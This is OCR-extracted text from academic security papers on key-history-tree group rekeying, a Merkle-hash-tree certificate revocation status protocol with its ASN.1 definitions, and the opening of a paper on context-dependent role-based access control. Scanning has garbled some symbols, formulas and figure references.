K? to “user5” does not compromise KV or K{. This is not immediately visible
to the KHT-CM or other group members, since they only implicitly discover
these changes by the key information attached to encrypted messages. Finally,
after the eviction of “user2”, the KHT-CM overwrites updates that refer to K
instead of K7, and creates a new node 2 to capture E(KY, K3i). Note that we
do not keep updates for older keys since an update of a key in LKH triggers an
update of its parent key.

Algorithm [ describes in more detail the rules we use to update the KHT. In
particular, we only update when the encrypted key will be more recent and the

! Our node numbering scheme assigns id(root) = 1, and id(n) = 2  id(parent(n)), if
n is a left child, or else id(n) = 2 x id(parent(n)) + 1.
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key used to encrypt that key is not older than the current one. All other cases
can be safely ignored because either they break the basic LKH rule of updating
keys bottom up or they do not add new information.

Algorithm 2 Client C obtains the group key from a set of updates S

FOR EACH update E(K_i"j,K_1"m) in S using post-order tree traversal {

IF (i in path from C to Root){
Find K_1°r in local store

IF (r <m){

Find K_i"n in local store

Obtain candidate K_i"j by hashing K_i"n for (j-n) times

Obtain K_1°m by decrypting E(K_i“j,K_1°m) with candidate K_i"j

IF (K_.17m is OK) {
Add K_1°m to local store

I

Algorithm [] describes the processing done by a client to update his local
state after receiving a set of key updates from the KHT-CM. First, he has to
filter the relevant updates based on his position in the tree and order them so
that updates lower in the tree are processed first. Then, he must discard updates
that do not produce newer keys and try to decrypt the others using the keys
he already holds. However, in certain cases the decryption key that he holds
might be an older version, which needs to be hashed multiple times to obtain
the actual key. In cases where the whole KHT is sent as an update, then it is
guaranteed that the client will obtain all the needed decryption keys just by
hashing. Unfortunately, if only a subset of the KHT is sent, and the KHT-CM
has mis-predicted the working set, it could happen that the client cannot obtain
a correct decryption key just by hashing. Therefore, he always has to validate
the key obtained after decryption before adding it to his local store.

3.3 Pruning the KHT

The process of updating the KHT described in Section can only grow the
tree and this is likely to make it too large to be efficiently distributed by the
KHT-CM. However, the benefit is that a client could keep as state its original
key, i.e., it is a stateless client, and derive the current session key from the KHT
and this key (see [11]).

To avoid the “growing tree problem” we focus on cases where clients are
updating local state every time they can, like in Algorithm Bl and we introduce
the notion of KHT Working Set (KHT-WS). The KHT-WS is the minimal subset
of the KHT that will allow all valid clients to recover the current session key.
This subset is also a tree with the same root as the KHT, since in LKH a change
of a key triggers a change in its parent key. Each leaf of this tree corresponds to
the lower node in the KHT, mapping a key that a relevant client cannot derive
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just by hashing local keys. For example, in Fig. @, if after evicting “user2” we
assume that “user4” and “user5” knew about K7, we are also certain that they
already have K2 in their local store, and we could safely delete node 3 from the
estimate of the KHT-WS.

As we mentioned in Section[I] it is sometimes difficult for a KHT-CM to keep
track of the key state of all its possible clients, in particular when the KHT-CM
is not part of the group. Therefore, the best that the KHT-CM can expect is to
obtain an approximation of the KHT-WS conservative enough so that it contains
the real KHT-WS, but small enough to be communicated efficiently.

The heuristic that we use to derive the KHT-WS approximation works in the
following way: first, we try to approximate the size of the working set, W Sy, ...
Then, we compute for each node in the KHT the likelihood of being part of that
working set, P;. Finally, we obtain the KHT-WS as formed with the WSy,
nodes of the KHT that have the highest P;.

How accurately we can determine the W.S,;,.depends on whether the KHT-
CM can obtain precise feedback on how useful the information that it is broad-
casting is for clients. For example, every time our estimation of the KHT-WS
fails, and a client cannot recover the current key from the information provided,
the KHT-CM should be notified. In our implementation we assume that the
LKH KM is providing everybody with accurate statistics of clients that need to
re-register with him, and we dynamically adjust the window size. The magnitude
of these adjustments is computed using a variant of the Newton optimization
method, and is based on the changes of failure rate caused by previous variations
of the KHT_WS.

In order to compute the relative importance of each KHT node, P;, we use a
combination of ageing with an estimate of the number of possible clients that will
need that node. Ageing information is computed by time-stamping when a node
was first added to the KHT—W, and uses an overall estimate of how frequently
nodes update their state, since the state update behaviour of all clients is uniform
(or non-uniform but unpredictable) across the tree. The number of clients that
need that node is linked to the distance to the root, since our allocation strategy
tries to keep the tree reasonably balanced.

4 Anonymous Group Content Delivery with KHT

In Anonymous Group Content Delivery (AGCD), content is distributed effi-
ciently to a subscribed community, e.g., to enforce a “pay-per-view” scheme,
but guaranteeing that the distribution source cannot learn what a particular
client downloads. A practical solution is to encrypt content with a key shared
by the current “paying” members, and use multicasting or caching of encrypted
content for efficient delivery. However, since these members are not “on-line” all
the time, key updates should be somehow embedded within the content so that
the majority of valid members can still recover the current key. Our simulation

2 Nodes that have never been added to the KHT-WS have the highest priority, to
ensure that new updates are quickly propagated.



Key History Tree: Efficient Group Key Management with Off-Line Members 249

results in Section [l will show that a KHT-based solution is particularly suited
for this scenario. Fig. [ shows how to architect a solution to AGCD using a
KHT:
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Fig. 3. Overview of AGCD with KHT

— Clients register with a Registration Front End (RFE) and, after mutual
authentication and subscription payment, they join the secure group by ob-
taining a set of keys in the LKH tree.

— The KM is contacted to modify the key tree and to generate key updates.
Similarly, when a client does not renew his subscription, the KM evicts him
and generates appropriate key updates. However, for efficiency reasons we
only flush pending key changes at regular intervals (similar to [12]).

— Key updates are filtered by a KHT-CM that calculates the minimal update
information required by all currently paying members to recover the new key
(an estimation of the KHT-WS, as described in Section []).

— In parallel, the Content Delivery Back End (CDBE) uses the current group
key to encrypt and authenticate the content (or a key encrypting the content)
that will be provided to subscribers, and adds to it the estimated KHT-WS.
Later on, the Content Delivery Front End (CDFE), e.g., a web server, just
forwards this content to whoever requests it. Avoiding the authentication of
clients ensures efficient caching and anonymicity.

— Clients download the annotated encrypted content from the CDFE and try
to decrypt and authenticate it using their current knowledge of the group
key, or the keys that they can derive from the annotations. If successful they
will update their local state with the new keys. Otherwise, they will have to
authenticate again with the RFE and obtain the new keys. Clearly, this last
situation shows a failure of our heuristics, that we evaluate in Section



250 A. Lain and V. Borisov

5 Experimental Results

We have simulated extensively the use of a KHT within AGCD, described in the
previous section. We wanted to get a better understanding of how well the KHT
would behave when subject to a realistic workload. In particular, we wanted
to know what would be the size of the annotation that is required to obtain a
good approximation of the KHT-WS, and what is the benefit of KHT versus
just buffering aggregated LKH updates. Also, it was interesting to explore the
sensitivity of our results to different conditions, such as changing how often we
flush the group key or how clients behave while accessing the CDFE.

Register

LONG_TERM QUEUE Again
FAIL
1-P_doneLT
> Access P{ Random
. Dlt OK

P_doneLT

Register
Again

SHORT_TERM QUEUE

%

P_doneST

Access Random

1- (P_LT+P_doneST)

Fig. 4. Generating simulation traces

5.1 Simulation Methodology

Fig. @ highlights a Jackson queuing network [I3] that we use to generate simu-
lation traces of clients accessing an AGCD service. We distinguish between two
sets of clients: “short term” clients have “low commitment” with the service,
they are just starting to use it, and it is likely that a good proportion of them
will not be interested in the service after all. “Short term” clients that use the
service for a reasonable period of time become “long term”. We assume that
clients classified as “long term” are likely to keep using the service for a longer
time, but interaction with the service may be less frequent, i.e., there is no longer
a “novelty factor”.

The life-cycle of a client is to first register with the RFE and then, after a
delay modelled by an exponential distribution of mean Dgr, start download-
ing the content from the CDFE. If decryption fails, he will have to re-register;
otherwise, we will assume that with certain probability pgonesT, he will aban-
don the service, or with probability prrhe will become a “long term” member;
otherwise, he will just retry the access after another random delay. Behaviour of
“long term” clients is similar but with different termination probability pgonerT,
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and average delay between accesses Dyr. Client arrivals are characterized by a
Poisson process with A arrivals per day on average.
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Fig. 5. Simulator input traces workloads

Fig. Bl shows characteristics of two different sets of workloads that we will
use in our evaluation. One of them tries to model a “new” service that has a
very significant number of “short term” clients, i.e., half of them on average. The
other one is a “stable” or “well-established” service where a large proportion of
clients are “long term”. In both cases we adjust A so that the growth in average
number of active members mimics the declared progress of a real and widely used
content delivery subscription service [I4]. Clearly, the eviction rate of the “new”
service is much higher than the “well-established” one. Table [l gives details of
the configuration parameters used.

Table 1. Workload configuration parameters

lworkload‘pdoneSTlpLT‘pdoneLT‘DSTlDLT‘ A ‘
Stable 0.02 |0.18| 0.02 1 2 |1800
New 0.1 0.1| 0.02 1 2 13000

In order to compute confidence intervals we used five different traces of each
set that used non-overlapping random number sequences with the same seed.
This was possible because the high quality random number generator (RNG)
that we used had a period long enough to accommodate all these sequences.
Results presented use a 0.95 confidence intervals margin.

5.2 KHT versus Buffered LKH

We show in Fig. [6] how well KHT compares to a buffered version of LKH. This
use of LKH accumulates all the group additions and evictions since the last key
refresh into a highly optimized key update. Somehow, this is equivalent to using
algorithms that optimize multiple additions or evictions in LKH [I], rather than
the more inefficient single change counterparts.
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Fig. 6. Comparing KHT with buffered LKH

The horizontal axis of the graphs in Fig. | show pyqi, the probability of
failing to decrypt the content by a valid client while accessing the service. As
we recall from Section Bl this is a side effect of mis-predicting the KHT-WS. In
the case of KHT we dynamically change the size of the KHT cache to keep that
probability to a certain constant target. As we can see from the tight confidence
intervals in Fig. Bla) and Fig.[d c) this is very effective in practice. However, in
the case of Buffered LKH, the only mechanism that we have to decrease pgq; is
to accumulate key updates from several refresh periods, and even though we also
dynamically adjust the number of refresh periods aggregated, this adjustment
has larger granularity. This is reflected in Fig.[Bb) and Fig. BH) that show larger
Dfait confidence intervals.

The vertical axis of the graphs in Fig. Blreflects the average size S, in number
of elementary key update entries, of the annotation added to the content by
the CDBE. This average is computed per access, so that multiplied by the total
number of accesses we obtain the “wasted bandwidth” that the scheme to recover
off-line members requires. Again, confidence intervals for S in the Buffered LKH
are greater than in KHT for similar reasons.

Graphs in Fig. [6 clearly show that KHT performs consistently better than a
highly optimized version of LKH. This means that we can obtain a lower S for a
given pyqq. Also, KHT is more robust to changes in the refresh rate of the group
key since it is not constrained by refresh period boundaries. In fact, when we
increase the refresh rate in Buffered LKH, the number of key updates that we
optimize together is smaller, and this increases S. Moreover, we can see that a
“new” service performs significantly less well than a “stable” one. This is easily
explained by comparing the eviction rates of both distributions (see Fig. H b)),



Key History Tree: Efficient Group Key Management with Off-Line Members 253

where evictions across the leaves of the tree occur randomly with a reasonably
uniform distribution. Therefore, since we cannot exploit any locality constraints,
the number of evictions within a given time window directly correlates to the
size of the KHT-WS.

6 Conclusion

We have proposed a new method to deal with off-line members in dynamic, secure
groups that share a key. In many applications, members that are back on-line
are just interested on knowing the current key, and not all the keys negotiated
while they were off-line. We use a simple data structure, the KHT, to filter
updates from a popular group rekeying algorithm, LKH. We further prune this
information with an estimation of the current rekey status of valid members,
obtaining a compact annotation. We present an example application, AGCD,
that embeds this annotation with subscribed content, allowing recovery of off-
line members without jeopardizing their anonymity. Simulation results show the
benefit of our approach over more conventional methods.
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Abstract. Public-key cryptography is widely used to secure transac-
tions among distributed systems and the Public Key Infrastructure (PKI)
is the infrastructure that allows to securely deliver the public keys to
these systems. The public key delivery is usually performed by way of
a digital document called certificate. Digital certificates have a limited
life-time and the revocation is the mechanism under which a certificate
can be invalidated prior to its expiration. The certificate revocation is
one of the most costly mechanisms in the whole PKI and the goal of
this paper is to present a detailed explanation of a certificate status
checking protocol for an efficient revocation system based on the data
structures proposed by Naor and Nissim in their Authenticated Dictio-
nary (AD) [IT]. This paper also addresses important aspects associated
with the response verification that were beyond the scope of the original
AD specification.

1 Introduction

In open distributed systems it is needed an effective way of providing the basic
security services such as user authentication, access control, confidentiality, in-
formation integrity and non repudiation. The public-key cryptography is widely
used to provide these services. In public key cryptography, a couple of keys is
used, one is public (i.e. known by everybody) and the other is private (i.e. se-
cret). The public key is usually made public by way of a digital document called
certificate. A certificate is valid because it is digitally signed by a Trusted Third
Party (TTP) called “issuer”. Actually, any data with a digital signature can be
considered a certificate, but the most widely employed is the Identity Certificate
(IC), whose main function is binding a public key with an identity. An IC usually
includes the following data: holder’s public key, activation date, expiration date,
serial number, holder’s name and issuer’s name. Notice that the certificate has a
bounded life-time, i.e. it is not valid prior to the activation date and it is not valid
beyond the expiration date. The TTP that issues the ICs is called Certification
Authority (CA). However, to deal with ICs, not only the CA is necessary, but

* This work has been supported by the Spanish Research Council under the project
DISQET (TIC2002-00818).

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 255-B66, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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also an infrastructure that assures the validity of electronic transactions using
digital certificates. The Public Key Infrastructure (PKI) is responsible for the
certificates not only at the issuing time but also during all the certificate’s life-
time. Typically, the validity period of a certificate goes between several months
and several years. Certificate revocation is the mechanism under which an issuer
can revoke the binding of an identity with a public key before the expiration
of the corresponding certificate. A certificate may be revoked, according to [3],
because of the loss or compromise of the associated private key, in response to a
change in the owner’s access rights, a change in the relationship with the issuer
or as a precaution against cryptanalysis. The revocation policies determine how
the status of the certificates is distributed to the end users.

Bandwidth and processing capacity are critical bottlenecks when implement-
ing revocation systems, thus any status checking implementation must be con-
cerned about these parameters that highly affect scalability. Systems based on
the Merkle Hash Tree (MHT) [7] seem to avoid some of the scalability drawbacks
of the standard revocation systems: OCSP and CRL. However, to our knowl-
edge, there are not published implementations of this type of systems. This
paper presents a certificate status checking protocol for an MHT-based system,
in particular, the Authenticated Dictionary (AD) [II]. It must be stressed that
not only the protocol is proposed but also important aspects associated with
the response verification that were beyond the scope of the original AD speci-
fication are addressed. The rest of the paper is organized as follows: in Section
2l the authors show the reference model and the nomenclature used to describe
the revocation paradigm. In Section B the main approaches to the revocation
are briefly presented. In Section H] the Authenticated Dictionary is discussed in
detail. In Section B the authors present a suitable request-response protocol to
perform the status checking in the AD. In Section[f] it is presented the procedure
that a client must follow in order to verify a response and finally, we conclude
in Section [7

2 The Certificate Revocation Paradigm

Fig. [ summarizes the certificate revocation paradigm. The owner of the certifi-
cate to be revoked, an authorized representative or the issuer CA, can initiate
the revocation process for this certificate. To revoke the certificate, any of the
authorized entities generates a revocation request and sends it to the Revocation
Data Issuer (RDI). RDI is the term that we use to define the TTP that has the
master database of revoked certificates. The RDI is also responsible for trans-
forming its database records into “status data”. The status data (SD from here
on) has the appropriate format in order to be distributed to the End Entities
and it is formed at least by: a validity period that bounds the SD life-time,
a cryptographic proof that demonstrates that the SD was issued by a TTP,
an identifier of the TTP that issued the SD, the serial number of the target

! The CA that issued the certificate is often the one who performs the RDI’s functions
for the certificate, but these functions can be delegated to an independent TTP.
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Fig. 1. Reference Model

certificate or certificates and the revocation reason and the revocation date for
each revoked certificate.

In the vast majority of the revocation systems, End Entities do not have a
straight connection to the RDI. Instead, the RDI publishes the SD in “reposito-
ries” or “responders”. The main function of both repositories and responders is
to answer the End Entities requests concerning the status of certificates (status
checking). Repositories are non-TTPs that store SD pre-computed by the RDI
while responders are TTPs that have a private key and that provide a crypto-
graphic proof for SD included in each response. Maintaining the level of security
is one of the main drawbacks of using responders, in the sense that the responder
has to be online, but at the same time, it has to protect its private key against
intruders.

Revocation policies can be classified in different ways [12]: (1) By the way of
status checking. The check can be performed either offiine or online, sometimes
both methods are applied. Within an offiine scheme, the SD is precomputed
by a RDI and then distributed to the requester by a repository. Within an
online scheme, the SD is provided online by a responder and a cryptographic
proof is generated during each request. This provides up-to-date information.
(2) By their kinds of lists. Negative (black) lists contain revoked certificates and
positive (white) lists contribute valid certificates. Sometimes both mechanisms
are combined. (3) By the way of providing evidence. A direct evidence is given
if a certificate is mentioned in a positive or negative list, respectively. Then it
is supposed to be not revoked or revoked, respectively. An indirect evidence is
given, if a certificate can not be found on a list and therefore, the contrary is
assumed. (4) By the way of distributing information. It can be either via a push
(when the repository/responder periodically updates the client of the revocation)
or pull mechanism (when the client asks the repository/responder for particular
SD).

It is worth noting that the status checking is the mechanism that has the
greatest impact in the overall performance of the certificate revocation system.
Therefore, a status checking needs to be fast, efficient, timely and it must scale
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well too. Due to that, it is necessary to reduce the number of time-consuming
calculations like generation and verification of digital signatures and to minimize
the amount of data transmitted.

3 Related Work

In this Section we present in short the main approaches to the certificate sta-
tus checking. The simplest approach is traditional Certificate Revocation List
(CRL) [5]. CRL is the most mature revocation system and it is part of X.509
since its version 1. A CRL is a digitally signed collection of serial numbers with
additional information about version, CRL serial number, issuer, algorithm used
to sign, signature, issuing date, expiration date and some optional fields called
extensions. The CA that issued the certificate acts as RDI and repositories can
be used to distribute the CRL. The Indirect CRL (I-CRL) enables a RDI to pick
up revocation records from multiple CAs to be issued within a single CRL. In
1994 Delta CRL (D-CRL) was introduced; a Delta-CRL is a small CRL that
provides information about the certificates whose status have changed since the
issuance of a complete list called Base-CRL. CRL Distribution Points (CRL-DP)
was introduced in version 3 of X.509 [5]. In CRL Distribution Points, each CRL
contains the status information of a certain subgroup of certificates. The criteria
to create these subgroups can be geographic, level of importance, scope of use,
revocation reason, etc.

Micali proposed the Certificate Revocation System (CRS) [8], recently re-
named as Novomodo [9]. In [2] an improvement over CRS called Hierarchical
Certificate Revocation Scheme is suggested.

The Certificate Revocation Tree (CRT) [6] and the Authenticated Dictionary
(AD) [11] are both based on the Merkle Hash Tree (MHT) [7]. The AD is further
discussed in Section @] The PKIX workgroup of the IETF has proposed the On-
line Certificate Status Protocol (OCSP) [10], where the SD is available through
a responder that signs each response that it produces.

4 The Authenticated Dictionary

The AD is based on two data structures: the Merkle Hash Tree (MHT) and the
2-3 tree.

The Merkle Hash Tree (MHT).
The MHT [7] relies on the properties of the OWHF (One Way Hash Functions).
It exploits the fact that a OWHF is at least 10,000 times faster to compute than
a digital signature, so the majority of the cryptographic operations performed in
the revocation system are hash functions instead of digital signatures. A sample
MHT is represented in Fig. 2l

We denote by N; ; the nodes within the MHT where i and j represent re-
spectively the i-th level and the j-th node. We denote by H; ; the cryptographic
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Fig. 2. Sample MHT

variable stored by node N; ;. Nodes at level 0 are called “leaves” and they rep-
resent the data stored in the tree. In the case of revocation, leaves represent the
set @ of certificates that have been revoked,

& ={co,c1,...,Cj,...,Cn}. (1)
Where ¢; is the data stored by leaf Ny ;. Then, Hy ; is computed as ()

Hoj = h(c;). (2)
Where h is a OWHEF. To build the MHT, a set of ¢ adjacent nodes at a given
level 4; N; j, N; j+1, .- .,N; j+¢t—1, are combined into one node in the upper level,

node that we denote by N;i1 . Then, H;;;; is obtained by applying h to the
concatenation of the ¢ cryptographic variables (3)

Hip1 = hH;j| Hijial - [ Hijpe—1) (3)

At the top level there is only one node called “root”. H,.. is a digest for all
the data stored in the MHT.

The sample MHT of Fig. Blis a binary tree because adjacent nodes are com-
bined in pairs to form a node in the next level (¢ = 2) and H, oot = Ho 0.

Definition 1. The Digest is defined as {RDIrp, Hyoot, Validity Period}sicnp; -

Definition 2. The Path,; is defined as the set of cryptographic values necessary
to compute Hyoor from the leaf c;.

Remark 1. Notice that the Digest is trusted data because it is signed by the RDI
(identified by RDI;p) and it is unique within the tree while Path is different
for each leaf.

Claim. If the MHT provides a response with the proper Path.; and the MHT
Digest, an End Entity can verify if ¢; € &.

Ezxample 1. Let us suppose that a certain user wants to find out if ¢; belongs
to the sample MHT of Fig. Bl Then Path.y = {No,o,N1,1} and Digest =
{RDI;p, H2 g, Validity Period}srcyp,- The response verification consists in
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checking that Hyo computed from the Path., matches H> included in the
Digest,

Hyoot = Ha0 = h(h(h(c1)|Hoo)|Hi1) - (4)

Remark 2. Notice that the MHT can be built by a TTP and distributed to a
repository because a leaf cannot be added or deleted to ¢ without modifying
H o0t 4 which is included in the Digest and as the Digest is signed, it cannot be
forged by a non-TTP.

The 2-3 Tree.

In the AD, a 2-3 tree is chosen to build the MHT. In a 2—-3 tree, each internal node
has two or three children (¢ € {2,3}). The main advantage of this type of tree
is that performing management tasks such as searching, adding and removing
a leaf can be performed in o(log(n)) [1] where n is the number of leaves. Each
leaf within the tree represents a certificate; certificates are distinguished by their
serial number and leaves are ordered by serial number. The leaves’ order is
essential to prove that a certain certificate, identified by serial number ciorget,
is not revoked (¢target ¢ ). To do so, it is enough to demonstrate the existence
of two adjacent leaves: a minor adjacent leaf and a major adjacent leaf which
fulfill that cinor € P, Crmajor € P and cminor < Ctarget < Cmagor-

5 Status Checking Protocol

We have developed a JAVA implementation of the AD called AD-MHTE. Next,
we briefly describe the fields that contain the two main JAVA classes of our
implementation:

— The TwoThreeTree class contains the following fields: the number of levels,
the RDI;p, areference to the private key used to sign the Digest, the validity
period for the current H,,,; and a reference to the root node.

— The Node class contains the following fields: a reference to the left child,
a reference to the middle child, a reference to the right child (this child
only exists if the node has 3 children), the biggest element of the subtree
that descends from this node denoted by maz, the smallest element of the
subtree that descends from this node denoted by min and the cryptographic
value of this node (H, ;).

Fig. Bl shows a sample 2-3 that represents a set of revoked certificates & =
{2,5,7,8,12,16, 19}. Notice that leaves on the left represent smaller serial num-
bers than leaves on the right.

2 To do such a thing, an attacker needs to find a pre-image of a OWHF which is
computationally infeasible by definition.

3 The software for the AD-MHT client and the AD-MHT server can be downloaded
from http://isg.upc.es/cervantes
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Fig. 3. Sample 2-3 tree

As mentioned in Section [2, apart from the serial number of the certificate
that has been revoked, the status checking provides the revocation reason and
the revocation date. To add this information to the MHT, we need to include it
in the computation of the cryptographic values of the leaves ().

Hy ; = h(Serial Number| Reason| Date) . (5)

At the moment, most of the protocols and data structures used in computer
security are defined in ASN1. Below, the authors present a request/response
protocol designed in ASN1 to perform the status checking in the AD-MHT. The
protocol uses definitions from [10] and [4] and can be placed over many transport
mechanisms (HTTP, SMTP, LDAP, etc.).

ADMHTRequest ::= SEQUENCE {

tbsRequest ADMHTTBSRequest,
optionalSignature [0] EXPLICIT OCTET STRING OPTIONAL }
ADMHTTBSRequest ::= SEQUENCE {

version [0] EXPLICIT Version OPTIONAL,
requestList SEQUENCE OF ADMHTCertRequest }
ADMHTCertRequest ::= SEQUENCE {reqCert CertID }
CertID ::= SEQUENCE {

issuerName [0] EXPLICIT OCTET STRING OPTIONAL,--RDI’s DN Hash
issuerKeyHash [1] EXPLICIT OCTET STRING OPTIONAL,--RDI’s public key Hash
serialNumber CertificateSerialNumber }

CertificateSerialNumber ::= OCTET STRING

Fig. 4. ASN1 description of the AD-MHT Request

The AD-MHT Request.
Fig. [ shows the ASN1 description for an AD-MHT request. Each request con-
tains the protocol version (currently version 1), an identifier for each target
certificate and optionally the request might be signed by the client.

Upon receipt of a request, the repository determines if the message is well
formed, if it is configured to provide the requested service and if the request
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contains the compulsory information. If any one of the prior conditions are not
met, the repository produces a response with an error message that it is indicated
in MHTResponseStatus (see Fig. B); otherwise, it returns a response with the
appropriate status data.

The AD-MHT Response.
Fig. Bl shows the ASN1 description for an AD-MHT response. The response
syntax is more complex than the request since it must include the Digest and
one or two Paths for each target certificate (recall that we need to proof the
existence of the minor and major adjacent leaves to assure that a certificate is
not revoked).

The BasicADMHTResponse contains:

— A SignedTreeDigest that is common for all the target certificates.
— A SingleADMHTResponse per target certificate.

The SignedTreeDigest includes the issuer (i.e. the name of the RDI), the
validityPeriod and the rootHash inclusion is optional because the client can
calculate it from the Path, even though the RDI must include the rootHash in
the signature computation.

The SingleADMHTResponse includes the information necessary to check if
the target certificate is or it is not revoked. If the certificate has been revoked
minorAdjacent= majorAdjacent and then, only the minorAdjacent is included
in the Path. On the contrary, if the target certificate has not been revoked,
minorAdjacent# majorAdjacent, and both Paths are included in the response.
The TreePath includes the adjacentID (Ctqrget), the status (revocation date
and reason) and the PathSteps in a recursive fashion that allows to compute
H, ot FEach PathStep contains:

— The cryptographic value(s) necessary to compute a cryptographic value in
the upper level.
— The next PathStep (in the last instance, the root is reached).

The algorithm that allows to compute H,.,o+ is depicted below:

1. The i-th PathStep allows to compute H;;1. H;11 can be a leftHash, a
middleHash or a rightHash in the (¢ + 1)-th level.
2. If H;41 is a leftHash,
(a) If the (i + 1)-th level has “2” nodes, then the nextPathStep will include
only a middleHash.
(b) If the (i + 1)-th level has “3” nodes, then the nextPathStep will include
a middleHash and a rightHash.
3. If H;y; is a middleHash, then
(a) If the (i + 1)-th level has “2” nodes, then the nextPathStep will include
only a leftHash.
(b) If the (i + 1)-th level has “3” nodes, then the nextPathStep will include
a leftHash and a rightHash.
4. If H;y4 is a rightHash, then the nextPathStep will include a leftHash and
a middleHash.
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ADMHTResponse ::= SEQUENCE {
responseStatus MHTResponseStatus,
basicResponse [0] EXPLICIT BasicADMHTResponse OPTIONAL }
BasicADMHTResponse ::= SEQUENCE {
signedTreeDigest SignedTreeDigest,
singleResponse SingleADMHTResponse }
MHTResponseStatus ::= ENUMERATED {
successful (0), --Response has valid confirmations
malformedRequest (1), --TIllegal confirmation request
internalError (2), --Internal error in issuer
tryLater (3), --Try again later

--(4) and (5) are not used
unauthorized (6) } --Request unauthorized
SignedTreeDigest ::= SEQUENCE {
tbsTreeDigest TBSTreeDigest,
signature OCTET STRING } --SHA1 with RSA is used
TBSTreeDigest ::= SEQUENCE {
issuer Name,
validity Validity,
rootHash [0] EXPLICIT OCTET STRING OPTIONAL,
extensions [1] EXPLICIT Extensions OPTIONAL }
SingleADMHTResponse ::= SEQUENCE {
minorAdjacent TreePath,

majorAdjacent [0] EXPLICIT TreePath OPTIONAL } --Only needed for not
--revoked responses

TreePath ::= SEQUENCE {

adjacentID CertID,

status RevokedInfo,

firstPathStep PathStep }

PathStep ::= SEQUENCE { --SHA1 is used

leftHash [0] EXPLICIT OCTET STRING OPTIONAL,
middleHash [1] EXPLICIT OCTET STRING OPTIONAL,
rightHash [2] EXPLICIT OCTET STRING OPTIONAL,
nextPathStep [3] EXPLICIT PathStep OPTIONAL }
RevokedInfo ::= SEQUENCE {

revocationTime GeneralizedTime,

revocationReason [0] EXPLICIT CRLReason OPTIONAL }

Fig. 5. ASN1 description of the AD-MHT Response

6 Response Verification

In this Section, we expose the procedure that an End Entity must follow in order
to verify a response.

First of all, the client must check that each TreePath included in the response
is correct, that is, the rootHash computed from the Path matches the rootHash
included in the Digest. If a target certificate is not revoked, this is not enough,
the client also needs assure that the TreePaths provided belong to real adjacent
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nodedd (remember that the repository is a non-TTP, thus the user can be misled
into believing that a certain pair of nodes within the tree are adjacent leaves).

Example 2. Let us suppose that we want to perform a transaction using a given
certificate. The certificate is identified by ¢iarger. Using the example in Fig. 3]
let us assume that ciorger = 16. Notice that cigrger € @ but suppose that a
malicious repository provides us the Path for a couple of nodes claiming that
they are adjacent, for instance ¢pinor = 8 and cmajor = 19. If we only check
that {¢minor, Cmajor} € P, we will think that cigrger is valid and we will perform
the fraudulent transaction.

Next, the authors propose a recursive algorithm that given a certain couple
of TreePaths, verifies if, actually, they belong to “real” adjacent leaves. The
algorithm works without adding any extra information to the protocol or the
data structures. The alleged adjacent leaves are denoted by No ; and No ;1.

1. The client computes H; ,, and H;, which denote respectively the crypto-
graphic values of the fathers of Ny ; and No j41.
2. If Hy , = Hy p, then both leaves have the same father. Then,

(a) If Noj = N1 m.left and Ng j11 = Ny ,.middle, then they are adjacent
nodes.

(b) If Nogj = N1,.middle and No j41 = N1 m.right, then they are adja-
cent nodes.

(c) Else, they are not adjacent nodes.

3. If Hy ,, # H; 5, then both leaves do not have the same father. Then,

(a) If N1, has “2” children and No ; # Ni ,,.middle, then they are not
adjacent nodes.

(b) If Ny, has “3” children and Ny ; # Nip,.right, then they are not
adjacent nodes.

(c) If Nojt1 # Nin.left, then they are not adjacent nodes.

(d) Else computes Hy, and Hs,, which denote respectively the crypto-
graphic values of the fathers of N ,,, and Nj ,,, and applies the algorithm
recursively. In the last instance, the root is the unique common father
between the pair of nodes.

We illustrate a couple of examples of the previous algorithm in Fig. [6

Remark 3. It must be pointed that the strength of the previous algorithm resides
in the position that a certain node occupies relative to its father, in other words,
if a certain node LEFT, MIDDLE or RIGHT. Notice that the end user can
trust this information since the relative node positions can not be swapped by
a malicious repository because we use a non-commutative hash function. If the
malicious repository modifies the concatenation order, then it changes the next
cryptographic value ()

Hiv1 = h(H;j| Hijv1) # h(Hij1| Hij) - (6)

4 This issue was not addressed in the original AD proposal.
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Fig. 6. Examples of adjacent nodes checking

On the other hand, notice that in some cases minor adjacent, major adjacent
or both are missing. For instance, if @ = {0}, i.e. the MHT is empty, then both
adjacent nodes are missing. If ciqrger < ¢; Vj, i.e. the serial number of the target
certificate is smaller than the smallest leaf within the MHT, then there is no
minor adjacent. If ciqrger > ¢; Vj, i.e. the serial number of the target is bigger
than the biggest leaf within the MHT, then there is no major adjacent. A serial
number is nothing more than an array of bits and serial numbers with all its bits
set to 0 and serial numbers with all its bits set to 1 are reserved (not assigned to
“real” certificates) to bound the MHT. These “special” serial numbers represent
0 and +oo respectively, so that now each possible serial number has two adjacent
nodes independently of the certificates contained by the MHT.

7 Conclusions

In this paper we reviewed the certificate revocation paradigm and the main
approaches to revocation. The authors have developed a revocation system based
on the data structures proposed by Naor and Nissim in their Authenticated
Dictionary called AD-MHT. This paper presents a detailed explanation of a
protocol for the certificate status checking in the AD-MHT. The protocol is a
request/response protocol described in ASN1. In this sense, we also addressed
important aspects associated with the response verification that were beyond
the scope of the original AD specification.
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Abstract. Controlling access to resources is one of the most important protection
goals for web-based collaboration environments in practice. In general, access con-
trol requires identification of subjects that intend to use resources. Today, there are
several identification mechanisms for subjects, providing different security levels.
However, some of them are only suitable to be used in specific environments. In
this paper we consider access control to web-based collaboration environments
where access control also depends on the actually used identification mechanism
as a context-dependent parameter. Furthermore, we show how to model this kind
of context-dependent access control for web-based collaboration environments by
using role-based concepts. Additionally, we present how complex role hierarchies
in the context-dependent case can be generated from basic role hierarchies. This
is achieved by applying direct products as a special arithmetic operation over role
hierarchies and context hierarchies.

1 Introduction

The World Wide Web provides powerful means for nowadays collaboration environ-
ments. Collaboration environments include a bunch of tools and resources to support
team work. After former collaboration environments have mostly been applications with
specific clients, the trend is towards providing collaboration environments with web-
based user interfaces for accessing the offered services with a simple web browser. For
an overview about existing collaboration environments we refer to [[Li2]].

However, when dealing with collaboration services provided over open networks,
security questions like controlling access to offered services are of central interest in col-
laboration environments. Access control is usually strongly related to identification of
the requesting user. There are several technical solutions which are used in practice, e.g.,
challenge & response protocols based on digital signatures and public key certificates
(e.g., as in [3/4]), passwords (e.g., as in [S]), and even cookies [6]. The decision which
of these identification mechanisms has to be applied depends on the protection goals
in the corresponding application and the desired security level. High-level protection
goals usually require stronger mechanisms. Thus, the usage of specific functions within
the collaboration environment may only be allowed to be requested after identification
